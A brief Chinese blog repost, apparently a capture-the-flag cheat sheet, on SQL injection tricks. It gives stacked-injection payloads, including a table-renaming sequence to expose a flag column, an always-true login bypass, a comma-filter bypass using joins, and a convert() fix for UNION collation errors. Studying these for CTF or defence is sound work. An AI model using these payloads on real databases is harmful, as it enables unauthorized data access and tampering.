首页 > 数据库技术 > 详细

SQL特殊注入方式及注意事项

时间:2020-11-30 21:50:31      阅读:37      评论:0      收藏:0      [点我收藏+]

二次注入
(待补充)
堆叠注入(禁用select|update|delete|drop|insert|where)
多个语句同时执行
如:
1‘;show databases;
将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
1‘;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#
之后利用 1‘ or ‘1‘=‘1 爆出flag
逗号过滤
如:
select 1,2 回显select 1
可通过 select * from (select 1)a join (select 2)b
数据库本身编码问题
报错:Illegal mix of collations for operation ‘UNION’
可以用convert()进行编码转换
如group_concat(convert(TABLE_NAME using gbk))

SQL特殊注入方式及注意事项

原文:https://www.cnblogs.com/secutity-zbk/p/14062995.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!